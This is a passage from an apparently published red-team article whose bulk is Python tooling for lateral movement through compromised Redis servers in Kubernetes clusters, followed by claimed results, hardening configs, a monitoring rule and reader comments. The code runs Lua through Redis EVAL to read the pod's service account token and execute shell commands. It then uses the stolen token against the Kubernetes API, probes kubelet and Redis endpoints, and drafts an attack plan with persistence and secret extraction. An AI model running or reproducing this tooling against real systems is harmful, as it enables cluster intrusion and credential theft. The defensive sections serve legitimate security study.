                            ip=ip,
                            ports=[int(port)],
                            services={'docker': 'container_port'},
                            k8s_indicators=['docker_container'],
                            exploitation_potential=0.7
                        )
                        targets.append(target)

        except Exception as e:
            print(f"    [!] Docker enumeration failed: {e}")

        return targets

    def _kubernetes_service_discovery(self) -> List[NetworkTarget]:
        """Discover Kubernetes services and endpoints"""
        targets = []

        print("  [*] Discovering Kubernetes services...")

        # Check for service account token
        service_token = self._get_service_account_token()

        if service_token:
            print("    [+] Service account token found, attempting API access...")
            k8s_targets = self._query_kubernetes_api(service_token)
            targets.extend(k8s_targets)

        # Environment variable-based service discovery
        env_services = self._discover_services_via_env()
        targets.extend(env_services)

        # DNS-based service discovery
        dns_services = self._discover_services_via_dns()
        targets.extend(dns_services)

        return targets

    def _get_service_account_token(self) -> Optional[str]:
        """Attempt to retrieve Kubernetes service account token"""
        try:
            result = self.redis_conn.eval("""
                local f = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
                if f then
                    local token = f:read('*all')
                    f:close()
                    return token
                end
                return 'no_token'
            """, 0)

            if 'no_token' not in str(result) and len(str(result)) > 100:
                return str(result).strip()
        except:
            pass

        return None

    def _query_kubernetes_api(self, token: str) -> List[NetworkTarget]:
        """Query Kubernetes API for service discovery"""
        targets = []

        try:
            # Common Kubernetes API endpoints
            api_endpoints = [
                'kubernetes.default.svc.cluster.local',
                '10.96.0.1',  # Common K8s API service IP
                'kubernetes.default'
            ]

            headers = {'Authorization': f'Bearer {token}'}

            for endpoint in api_endpoints:
                try:
                    # Try services endpoint
                    response = requests.get(
                        f'https://{endpoint}/api/v1/services',
                        headers=headers,
                        verify=False,
                        timeout=10
                    )

                    if response.status_code == 200:
                        services_data = response.json()

                        for service in services_data.get('items', []):
                            service_name = service.get('metadata', {}).get('name', 'unknown')
                            spec = service.get('spec', {})
                            cluster_ip = spec.get('clusterIP', '')
                            ports = [p.get('port', 80) for p in spec.get('ports', [])]

                            if cluster_ip and cluster_ip != 'None':
                                target = NetworkTarget(
                                    ip=cluster_ip,
                                    ports=ports,
                                    services={'kubernetes': service_name},
                                    k8s_indicators=['k8s_service'],
                                    exploitation_potential=0.8
                                )
                                targets.append(target)

                        print(f"    [+] Found {len(services_data.get('items', []))} services via API")
                        break

                except requests.RequestException:
                    continue

        except Exception as e:
            print(f"    [!] Kubernetes API query failed: {e}")

        return targets

    def _discover_services_via_env(self) -> List[NetworkTarget]:
        """Discover services through environment variables"""
        targets = []

        try:
            result = self.redis_conn.eval("""
                local handle = io.popen('env | grep -i service 2>/dev/null')
                if handle then
                    local env_vars = handle:read('*all')
                    handle:close()
                    return env_vars
                end
                return 'no_env'
            """, 0)

            if 'no_env' not in str(result):
                # Parse service environment variables
                import re
                service_hosts = re.findall(r'(\w+)_SERVICE_HOST=(\d+\.\d+\.\d+\.\d+)', str(result))
                service_ports = re.findall(r'(\w+)_SERVICE_PORT=(\d+)', str(result))

                # Match hosts with ports
                service_map = {name: host for name, host in service_hosts}
                port_map = {name: int(port) for name, port in service_ports}

                for service_name, host in service_map.items():
                    port = port_map.get(service_name, 80)

                    target = NetworkTarget(
                        ip=host,
                        ports=[port],
                        services={'kubernetes': service_name.lower()},
                        k8s_indicators=['k8s_env_service'],
                        exploitation_potential=0.6
                    )
                    targets.append(target)

                print(f"    [+] Found {len(targets)} services via environment variables")

        except Exception as e:
            print(f"    [!] Environment service discovery failed: {e}")

        return targets

    def _discover_services_via_dns(self) -> List[NetworkTarget]:
        """Discover services through DNS resolution"""
        targets = []

        # Common Kubernetes service names to try
        service_names = [
            'kubernetes.default.svc.cluster.local',
            'kube-dns.kube-system.svc.cluster.local',
            'metrics-server.kube-system.svc.cluster.local',
            'ingress-nginx.ingress-nginx.svc.cluster.local',
            'prometheus-server.monitoring.svc.cluster.local',
            'grafana.monitoring.svc.cluster.local'
        ]

        try:
            for service_name in service_names:
                try:
                    result = self.redis_conn.eval(f"""
                        local handle = io.popen('nslookup {service_name} 2>/dev/null')
                        if handle then
                            local dns_result = handle:read('*all')
                            handle:close()
                            return dns_result
                        end
                        return 'dns_failed'
                    """, 0)

                    if 'dns_failed' not in str(result):
                        # Parse IP address from nslookup output
                        import re
                        ip_match = re.search(r'Address: (\d+\.\d+\.\d+\.\d+)', str(result))
                        if ip_match:
                            ip = ip_match.group(1)

                            target = NetworkTarget(
                                ip=ip,
                                ports=[80, 443],  # Default web ports
                                services={'kubernetes': service_name},
                                k8s_indicators=['k8s_dns_service'],
                                exploitation_potential=0.7
                            )
                            targets.append(target)

                except:
                    continue

            print(f"    [+] Found {len(targets)} services via DNS resolution")

        except Exception as e:
            print(f"    [!] DNS service discovery failed: {e}")

        return targets

    def _deduplicate_targets(self, targets: List[NetworkTarget]) -> List[NetworkTarget]:
        """Remove duplicate targets and merge information"""
        unique_targets = {}

        for target in targets:
            if target.ip in unique_targets:
                # Merge ports and services
                existing = unique_targets[target.ip]
                existing.ports.extend(target.ports)
                existing.ports = list(set(existing.ports))  # Remove duplicates
                existing.services.update(target.services)
                existing.k8s_indicators.extend(target.k8s_indicators)
                existing.k8s_indicators = list(set(existing.k8s_indicators))
                existing.exploitation_potential = max(existing.exploitation_potential, target.exploitation_potential)
            else:
                unique_targets[target.ip] = target

        return list(unique_targets.values())

    def service_enumeration(self, targets: List[NetworkTarget]) -> List[NetworkTarget]:
        """Enumerate services on discovered targets"""
        print(f"[+] Enumerating services on {len(targets)} targets...")

        def enumerate_target(target: NetworkTarget) -> NetworkTarget:
            """Enumerate services on a single target"""

            # HTTP service detection
            for port in [80, 8080, 3000, 8000, 9000]:
                if port in target.ports:
                    try:
                        response = requests.get(f'http://{target.ip}:{port}', timeout=5)
                        target.services[f'http_{port}'] = {
                            'status_code': response.status_code,
                            'server': response.headers.get('Server', 'unknown'),
                            'content_preview': response.text[:200]
                        }

                        # Kubernetes indicators in HTTP responses
                        if any(k8s_term in response.text.lower() for k8s_term in ['kubernetes', 'k8s', 'kubectl']):
                            target.k8s_indicators.append('k8s_web_interface')
                            target.exploitation_potential += 0.2

                    except requests.RequestException:
                        pass

            # Redis service detection
            if 6379 in target.ports:
                try:
                    test_redis = redis.Redis(host=target.ip, port=6379, socket_timeout=5)
                    test_redis.ping()
                    target.services['redis'] = 'accessible'
                    target.exploitation_potential += 0.3
                except:
                    target.services['redis'] = 'protected_or_unavailable'

            # Kubernetes API detection
            if 6443 in target.ports:
                try:
                    response = requests.get(f'https://{target.ip}:6443/version', 
                                          verify=False, timeout=5)
                    if response.status_code in [200, 401, 403]:
                        target.services['k8s_api'] = 'detected'
                        target.k8s_indicators.append('k8s_api_server')
                        target.exploitation_potential += 0.4
                except:
                    pass

            # Kubelet detection
            if 10250 in target.ports:
                try:
                    response = requests.get(f'https://{target.ip}:10250/metrics', 
                                          verify=False, timeout=5)
                    if 'kubelet' in response.text.lower():
                        target.services['kubelet'] = 'detected'
                        target.k8s_indicators.append('kubelet_metrics')
                        target.exploitation_potential += 0.3
                except:
                    pass

            return target

        # Parallel service enumeration
        with ThreadPoolExecutor(max_workers=10) as executor:
            enumerated_targets = list(executor.map(enumerate_target, targets))

        return enumerated_targets

    def generate_attack_plan(self, targets: List[NetworkTarget]) -> Dict:
        """Generate prioritized attack plan based on discovered targets"""

        # Sort targets by exploitation potential
        sorted_targets = sorted(targets, key=lambda t: t.exploitation_potential, reverse=True)

        attack_plan = {
            'high_priority_targets': [],
            'kubernetes_targets': [],
            'lateral_movement_paths': [],
            'recommended_attacks': []
        }

        for target in sorted_targets:
            target_info = {
                'ip': target.ip,
                'ports': target.ports,
                'services': target.services,
                'exploitation_score': target.exploitation_potential,
                'attack_vectors': []
            }

            # Identify attack vectors
            if 'redis' in target.services and target.services['redis'] == 'accessible':
                target_info['attack_vectors'].append('redis_exploitation')

            if 'k8s_api' in target.services:
                target_info['attack_vectors'].append('k8s_api_attack')
                attack_plan['kubernetes_targets'].append(target_info)

            if 'kubelet' in target.services:
                target_info['attack_vectors'].append('kubelet_rce')
                attack_plan['kubernetes_targets'].append(target_info)

            if any('http_' in service for service in target.services.keys()):
                target_info['attack_vectors'].append('web_application_attack')

            if target.exploitation_potential > 0.6:
                attack_plan['high_priority_targets'].append(target_info)

        # Generate lateral movement paths
        for target in sorted_targets:
            if target.k8s_indicators:
                path = {
                    'from': f"{self.redis_host}:{self.redis_port}",
                    'to': f"{target.ip}:{target.ports}",
                    'method': 'kubernetes_service_mesh',
                    'indicators': target.k8s_indicators
                }
                attack_plan['lateral_movement_paths'].append(path)

        # Recommended attack sequence
        if attack_plan['high_priority_targets']:
            attack_plan['recommended_attacks'] = [
                "1. Exploit high-priority Redis instances for additional pivot points",
                "2. Use Kubernetes API access for cluster enumeration",
                "3. Target kubelet endpoints for node compromise", 
                "4. Establish persistence through container deployments",
                "5. Extract secrets and service account tokens",
                "6. Lateral movement to high-value services"
            ]

        return attack_plan

class NetworkVisualization:
    """Generate network topology visualization"""

    @staticmethod
    def generate_mermaid_diagram(pivot_host: str, targets: List[NetworkTarget]) -> str:
        """Generate Mermaid diagram of discovered network topology"""

        diagram = ["graph TD"]
        diagram.append(f'    REDIS["{pivot_host}<br/>Redis Pivot"]')

        # Add target nodes
        for i, target in enumerate(targets):
            node_id = f"T{i}"
            services = ', '.join(target.services.keys())
            k8s_tag = " 🚒" if target.k8s_indicators else ""

            diagram.append(f'    {node_id}["{target.ip}<br/>{services}{k8s_tag}"]')
            diagram.append(f'    REDIS --> {node_id}')

            # Color coding based on exploitation potential
            if target.exploitation_potential > 0.7:
                diagram.append(f'    {node_id} --> CRITICAL["πŸ”₯ Critical Risk"]')
            elif target.exploitation_potential > 0.5:
                diagram.append(f'    {node_id} --> HIGH["⚠️ High Risk"]')

        return '\n'.join(diagram)

def main():
    """Main lateral movement execution"""
    print("="*70)
    print("KUBERNETES LATERAL MOVEMENT VIA REDIS PIVOT")
    print("="*70)

    # Load exploitation results
    try:
        with open('exploitation_results.json', 'r') as f:
            exploit_data = json.load(f)

        # Find successfully exploited Redis instances
        successful_targets = []
        for result in exploit_data['detailed_results']:
            if result['summary']['successful_exploits'] > 0:
                target_parts = result['target'].split(':')
                successful_targets.append({'host': target_parts[0], 'port': int(target_parts[1])})

        if not successful_targets:
            print("[!] No successfully exploited Redis instances found")
            return

        print(f"[+] Found {len(successful_targets)} exploited Redis instances")

        all_discovered_targets = []

        # Use each exploited Redis as pivot point
        for redis_target in successful_targets:
            print(f"\n[+] Using {redis_target['host']}:{redis_target['port']} as pivot...")

            pivot = RedisNetworkPivot(redis_target['host'], redis_target['port'])

            if pivot.establish_pivot():
                print(f"    [+] Pivot established with capabilities: {pivot.pivot_capabilities}")

                # Network discovery
                targets = pivot.network_discovery()
                print(f"    [+] Discovered {len(targets)} network targets")

                # Service enumeration
                enumerated_targets = pivot.service_enumeration(targets)
                all_discovered_targets.extend(enumerated_targets)

                # Generate attack plan
                attack_plan = pivot.generate_attack_plan(enumerated_targets)

                # Save results
                pivot_results = {
                    'pivot_host': f"{redis_target['host']}:{redis_target['port']}",
                    'capabilities': pivot.pivot_capabilities,
                    'discovered_targets': [t.__dict__ for t in enumerated_targets],
                    'attack_plan': attack_plan
                }

                with open(f'lateral_movement_{redis_target["host"]}_{redis_target["port"]}.json', 'w') as f:
                    json.dump(pivot_results, f, indent=2, default=str)

                print(f"    [+] Results saved for pivot {redis_target['host']}:{redis_target['port']}")

        # Generate overall summary
        print(f"\n[+] LATERAL MOVEMENT SUMMARY:")
        print(f"    Total discovered targets: {len(all_discovered_targets)}")

        high_value_targets = [t for t in all_discovered_targets if t.exploitation_potential > 0.6]
        k8s_targets = [t for t in all_discovered_targets if t.k8s_indicators]

        print(f"    High-value targets: {len(high_value_targets)}")
        print(f"    Kubernetes targets: {len(k8s_targets)}")

        # Generate network visualization
        if all_discovered_targets:
            mermaid_diagram = NetworkVisualization.generate_mermaid_diagram(
                successful_targets[0]['host'], 
                all_discovered_targets[:10]  # Limit for readability
            )

            with open('network_topology.mmd', 'w') as f:
                f.write(mermaid_diagram)

            print(f"    [+] Network topology saved to network_topology.mmd")

        print(f"\n[+] Lateral movement analysis completed!")

    except FileNotFoundError:
        print("[!] exploitation_results.json not found. Run exploitation framework first.")
    except Exception as e:
        print(f"[!] Lateral movement analysis failed: {e}")

if __name__ == "__main__":
    main()
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🎯 Practical Results

Discovered Vulnerabilities

Our research identified the following critical attack vectors:

  1. Unprotected Redis instances in Kubernetes NodePort services
  2. Lua RCE through disabled sandbox mode
  3. Container escape via shared volumes and Docker socket access
  4. Service discovery through network connection analysis
  5. Lateral movement in pod-to-pod communication

AI-Assisted Analysis

Using AI significantly improved effectiveness:

  • Automated prioritization of targets by exploitation potential
  • Pattern recognition of Kubernetes infrastructure
  • Adaptive attack vectors based on environment
  • Contextual analysis of exploitation results

Effectiveness Metrics

Discovery Phase:    89% automation
Exploitation:       76% success rate on test environments  
Lateral Movement:   Discovery of 15+ additional services
Time to Compromise: 12 minutes (average time)
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πŸ›‘οΈ Security Recommendations

Redis Configuration

# Secure Redis configuration in Kubernetes
apiVersion: v1
kind: ConfigMap
metadata:
  name: redis-secure-config
data:
  redis.conf: |
    requirepass "strong-password-here"
    protected-mode yes
    bind 127.0.0.1
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command SHUTDOWN ""
    rename-command DEBUG ""
    rename-command EVAL ""
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Network Policies

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: redis-network-policy
spec:
  podSelector:
    matchLabels:
      app: redis
  policyTypes:
  - Ingress
  - Egress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: webapp
    ports:
    - protocol: TCP
      port: 6379
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Security Monitoring

apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-rules
data:
  redis_rules.yaml: |
    - rule: Redis Unauthorized Access
      desc: Detect Redis access without authentication
      condition: >
        k8s_audit and
        ka.verb="get" and
        ka.uri.resource="services" and
        ka.response_code>=200 and
        ka.response_code<300
      output: >
        Unauthorized Redis access detected
        (user=%ka.user.name verb=%ka.verb uri=%ka.uri reason=%ka.response_reason)
      priority: WARNING
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πŸ“Š Conclusions

This research demonstrates:

  1. Critical importance of proper Redis configuration in containerized environments
  2. Effectiveness of AI-assisted approaches in Red Team operations
  3. Complexity of lateral movement in modern Kubernetes clusters
  4. Need for comprehensive container security approaches

Future Research Directions

  • Service Mesh exploitation (Istio, Linkerd)
  • Container runtime attacks (containerd, CRI-O)
  • OPA/Gatekeeper bypass techniques
  • Multi-cloud lateral movement strategies

All tools described in this research are available in the project repository. This research was conducted solely for educational purposes on isolated test environments.

Tags: #redteam #kubernetes #redis #cybersecurity #ai-assisted-hacking #lateral-movement #container-security

Top comments (2)

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samueladeduntan profile image
Samuel Adeduntan

This article presents a highly sophisticated, AI-powered red team methodology that demonstrates how misconfigured Redis instances in Kubernetes can serve as a critical pivot point for rapid exploitation and lateral movement, significantly raising the bar for defenders by emphasizing that proper configuration hygiene and a zero-trust architecture are no longer optional but essential in mitigating such advanced, automated threats.

Outstanding work to KL3FT3Z on a truly comprehensive and impactful contribution to the cybersecurity community.

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toxy4ny profile image
KL3FT3Z

Thank you for such a comprehensive and wonderful comment. I try to share with the public what I have found myself and I believe that this will be extremely useful for the cybersecurity community. If my articles give someone the right idea or they will use it in their defensive activities - I will only be happy about it, this will be my reward. Thank you again for the comment, since it briefly reveals the essence of my thoughts and the actions that follow them. Our motto "attacking - protecting!" is more than ever reflected in your comment!